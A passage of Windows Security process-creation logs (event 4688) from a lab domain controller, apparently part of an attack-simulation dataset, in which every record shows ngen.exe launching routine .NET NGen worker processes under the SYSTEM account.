	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 6fc -Pipe 2cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254650
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 0 -NGENProcess 238 -Pipe 648 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254649
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 588 -Pipe 620 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 2dc -Pipe 744 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254647
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 588 -Pipe 6fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254646
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 620 -Pipe 230 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254651
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 588 -Pipe 464 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254653
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 448 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254652
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 2dc -Pipe 214 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254654
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 438 -Pipe 728 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254655
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 538 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254657
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 438 -Pipe 2a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254656
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 588 -InterruptEvent 0 -NGENProcess 598 -Pipe 6ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 438 -Pipe 290 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254660
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1018
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a8 -InterruptEvent 0 -NGENProcess 514 -Pipe 26c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254659
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d4 -InterruptEvent 0 -NGENProcess 438 -Pipe 588 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254658
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 598 -Pipe 2dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254664
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 418 -Pipe 564 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254663
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x101c
